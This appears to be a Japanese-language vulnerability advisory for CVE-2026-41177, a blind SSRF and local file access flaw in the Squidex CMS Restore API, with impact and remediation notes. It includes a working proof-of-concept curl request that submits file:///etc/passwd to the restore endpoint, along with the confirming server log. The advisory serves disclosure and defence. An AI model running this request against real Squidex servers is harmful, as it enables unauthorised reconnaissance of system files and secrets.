CVE-2026-41177: Squidex CMS ブラインドSSRF

CVE-2026-41177に関する技術調査と分析: Squidex CMS Restore APIにおけるブラインドServer-Side Request Forgery (SSRF) の脆弱性。

脆弱性の概要

• CVE ID: CVE-2026-41177
• 影響を受けるコンポーネント: Squidex API: Backup / Restore Engine (/api/apps/restore)
• 影響を受けるバージョン: < 7.23.0
• 脆弱性の種類: ブラインドSSRF (CWE-918)、ローカルファイル操作 (CWE-73)

概要

Squidex Restore APIは、ブラインドServer-Side Request Forgery (SSRF) に対して脆弱です。このアプリケーションは、ユーザーが指定した Url パラメータのURIスキームを検証しないため、file:// プロトコルの使用が可能になります。これにより、認証された管理者がバックエンドサーバーにローカルファイルシステムとの対話を強制でき、ローカルファイル操作 (LFI) や、内部ログのサイドチャネル分析による機密システム情報の漏えいにつながる可能性があります。

詳細

1. 設定: 攻撃者は、ローカルファイルシステムのURI（例: file:///etc/passwd）を使用して「Restore」ジョブを作成します。
2. トリガー: 攻撃者は、restoreエンドポイントにPOSTリクエストを送信します。
3. 実行: バックエンドはリクエストを受け入れ、URLをバックグラウンドワーカー (RestoreJob) に渡します。
4. 観察: APIレスポンスは一般的な 204 No Content ですが、内部サーバーログには、コンテンツが有効なZIPアーカイブではないために失敗する前に、サーバーがファイルを正常に開いて読み取ったことが記録されます。

概念実証 (PoC)

1. 悪意のあるリクエスト

次のcurlコマンドを実行します（<TOKEN> を有効な管理者トークンに置き換えてください）:

curl -X POST http://localhost/api/apps/restore/ \
  -H 'Authorization: Bearer <TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{
    "Url": "file:///etc/passwd",
    "Name": "exploit-poc"
  }' -v

2. ログによる検証

Squidexコンテナログの次のエラーは、内部ファイル操作を確認します:

{
  "logLevel": "Error",
  "message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
  "exception": {
    "type": "System.IO.InvalidDataException",
    "message": "End of Central Directory record could not be found.",
    "stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
  }
}

注: InvalidDataException は、サーバーがファイルのバイトに正常にアクセスして読み取ったことを確認します。

影響

この脆弱性により、認証された攻撃者は以下を行うことができます:

• ファイルシステムの偵察: 機密ファイル（例: appsettings.json、シークレット）の存在を確認します。
• 情報漏えい: マルチテナント環境では、他のユーザーのバックアップファイルにアクセスするために使用される可能性があります。

修復策

• 更新: Squidexバージョン 7.23.0 以降にアップグレードします。
• プロトコルのホワイトリスト化: http:// と https:// スキームのみを厳密に許可します。
• 入力検証: 処理前に file:// スキームを使用するURIを拒否するチェックを実装します。
• 安全なIO処理: 基盤となるハンドラーが、ユーザー提供の入力に対してローカルファイルシステムの解決に制限されていることを確認します。

参考情報

• GitHub Security Advisory (GHSA-45fq-w37p-qfw5)
• 公式CVEレコード